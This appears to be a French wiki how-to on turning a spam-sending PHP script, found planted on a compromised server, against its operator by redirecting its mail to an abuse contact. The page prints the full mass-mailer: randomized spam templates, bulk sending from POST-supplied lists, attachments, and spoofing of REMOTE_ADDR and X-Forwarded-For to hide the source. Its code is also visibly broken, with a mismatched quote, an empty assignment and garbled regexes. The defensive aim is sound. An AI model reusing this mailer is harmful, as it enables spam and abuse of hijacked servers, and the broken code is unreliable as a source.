  $zag = "CONTACT US FOR FURTHER EXPLANATION: $youremail\n\n\n\nORIGINAL SERVER VARS: ".print_r($_SERVER,true)."\n\n\n\n\nORIGINAL SPAMMING CONTENT:\n\n\n\n\n".$zag;
  
  if(@mail($to, $subj, $zag, $head))
  // ...

NOTES:

  • N'oubliez pas de remplacer postmaster@YOURDOMAIN.TLD par la bonne adresse email...
  • N'oubliez pas de remplacer admin@toencompany.net par l'adresse réelle du abuse responsable de l'adresse IP qui cherche à vous attaquer...

Le code au complet

if(!isset($_POST["emails"])
      OR !isset($_POST["themes"])
      OR !isset($_POST["messages"])
      OR !isset($_POST["froms"])
)
{
  exit();
}

if(get_magic_quotes_gpc())
{
  foreach($_POST as $key => $post)
  {
      $_POST[$key] = stripcslashes($post);
  }
}

$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$messages = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$mailers = @unserialize(base64_decode($_POST["mailers"]));
$aliases = @unserialize(base64_decode($_POST["aliases"]));
$passes = @unserialize(base64_decode($_POST["passes"]));

if(isset($_SERVER))
{
  $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  {
      $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  }
}

if(isset($_FILES))
{
  foreach($_FILES as $key => $file)
  {
      $filename = alter_macros($aliases[$key]);
      $filename = num_macros($filename);
      $filename = text_macros($filename);
      $filename = xnum_macros($filename);
      $_FILES[$key]["name"] = $filename;
  }
}

if(empty($emails))
{
  exit();
}

foreach ($emails as $fteil => $email)
{
  $theme = $themes[array_rand($themes)];
  $theme = alter_macros($theme["theme"]);
  $theme = num_macros($theme);
  $theme = text_macros($theme);
  $theme = xnum_macros($theme);

  $message = $messages[array_rand($messages)];
  $message = alter_macros($message["message"]);
  $message = num_macros($message);
  $message = text_macros($message);
  $message = xnum_macros($message);
  $message = pass_macros($message, $passes);
  $message = fteil_macros($message, $fteil);

  $from = $froms[array_rand($froms)];
  $from = alter_macros($from["from"]);
  $from = num_macros($from);
  $from = text_macros($from);
  $from = xnum_macros($from);

  $mailer = $mailers[array_rand($mailers)];
  
  send_mail($from, $email, $theme, $message, $mailer);
} 

function send_mail($from, $to, $subj, $text, $mailer)
{
  $un = strtoupper(uniqid(time()));

  $head = "From: $from\n";
  $head .= "X-Mailer: $mailer\n";
  $head .= "Reply-To: $from\n";

  $head .= "Mime-Version: 1.0\n";
  $head .= "Content-Type: multipart/alternative;";
  $head .= "boundary=\"----------".$un."\"\n\n";
  
  $plain = strip_tags($text);
  $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
  $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
  
  $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
  $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
  $zag .= "------------".$un."--";
  
  if(count($_FILES) > 0)
  {
      foreach($_FILES as $file)
      {
          if(file_exists($file["tmp_name"]))
          {
              $f = fopen($file["tmp_name"], "rb");
              $zag .= "------------".$un."\n";
              $zag .= "Content-Type: application/octet-stream;";
              $zag .= "name=\"".$file["name"]."\"\n";
              $zag .= "Content-Transfer-Encoding:base64\n";
              $zag .= "Content-Disposition:attachment;";
              $zag .= "filename=\"".$file["name"]."\"\n\n";
              $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
              fclose($f);
          }
      }
  }
  
  // HACKING-THE-CRACKER ADDON
  $subj = "SPAM/CRACK REPORT / Original subject: $subj / Original RCPT: $to";
  $to = 'admin@toencompany.net';
  $youremail = 'postmaster@YOURDOMAIN.TLD"
  $zag = "CONTACT US FOR FURTHER EXPLANATION: $youremail\n\n\n\nORIGINAL SERVER VARS: ".print_r($_SERVER,true)."\n\n\n\n\nORIGINAL SPAMMING CONTENT:\n\n\n\n\n".$zag;
  
  if(@mail($to, $subj, $zag, $head))
  {
      if(!empty($_POST['verbose']))
          echo "SENDED";
  }
  else
  {
      if(!empty($_POST['verbose']))
          echo "FAIL";
  }
  usleep(300);
}

function alter_macros($content)
{
  preg_match_all('#{(.*)}#Ui', $content, $matches);

  for($i = 0; $i < count($matches[1]); $i++)
  {

      $ns = explode("|", $matches[1][$i]);
      $c2 = count($ns);
      $rand = rand(0, ($c2 - 1));
      $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  }
  return $content;
}

function text_macros($content)
{
  preg_match_all('#\[TEXT\-(digit:+)\-(digit:+)\]#', $content, $matches);

  for($i = 0; $i < count($matches[0]); $i++)
  {
      $min = $matches[1][$i];
      $max = $matches[2][$i];
      $rand = rand($min, $max);
      $word = generate_word($rand);

      $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
  }

  preg_match_all('#\[TEXT\-(digit:+)\]#', $content, $matches);

  for($i = 0; $i < count($matches[0]); $i++)
  {
      $count = $matches[1][$i];

      $word  = generate_word($count);

      $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
  }


  return $content;
}

function xnum_macros($content)
{
  preg_match_all('#\[NUM\-(digit:+)\]#', $content, $matches);

  for($i = 0; $i < count($matches[0]); $i++)
  {
      $num = $matches[1][$i];
      $min = pow(10, $num - 1);
      $max = pow(10, $num) - 1;

      $rand = rand($min, $max);
      $content = str_replace($matches[0][$i], $rand, $content);
  }
  return $content;
}

function num_macros($content)
{
  preg_match_all('#\[RAND\-(digit:+)\-(digit:+)\]#', $content, $matches);

  for($i = 0; $i < count($matches[0]); $i++)
  {
      $min = $matches[1][$i];
      $max = $matches[2][$i];
      $rand = rand($min, $max);
      $content = str_replace($matches[0][$i], $rand, $content);
  }
  return $content;
}

function generate_word($length)
{
  $chars = 'abcdefghijklmnopqrstuvyxz';
  $numChars = strlen($chars);
  $string = ;
  for($i = 0; $i < $length; $i++)
  {
      $string .= substr($chars, rand(1, $numChars) - 1, 1);
  }
  return $string;
}

function pass_macros($content, $passes)
{
  $pass = array_pop($passes);
  
  return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{    
  return str_replace("[FTEIL]", $fteil, $content);
}

function from_host($content)
{
  if(empty($replace))
  {
      $replace = (!empty($_SERVER['SERVER_ADMIN'])) ? $_SERVER['SERVER_ADMIN'] : NULL;
      $pos = strpos($replace, "@");
      $replace = substr($replace, $pos);
  }
  
  $replace = (empty($replace) AND ! empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : NULL;
  $replace = (empty($replace) AND ! empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : NULL;
  
  $domains = @explode(".", $replace);
  if(!empty($domains))
  {
      $level1 = @array_pop($domains);
      $level2 = @array_pop($domains);
      $replace = $level2.".".$level1;
  }
  
  return str_replace("[FHOST]", $replace, $content);
}


The end

Il n'y a plus qu'à laisser faire.

Enjoy.

Remarques à envoyer à beta_AT_e-glop.net (_AT_ / @)

Extra ending

Si vous êtes lassés de piéger votre correspondant distant, qui est sans doute bien caché, alors je vous invite à remplacer le contenu du fichier visé par quelque chose du genre :

 Hello World!
 
 
GO AND FUCK YOURSELF LITTLE SCRIPT KIDDY!

Ressources externes

http://forums.whirlpool.net.au/archive/2072084

Catérogie:Informatique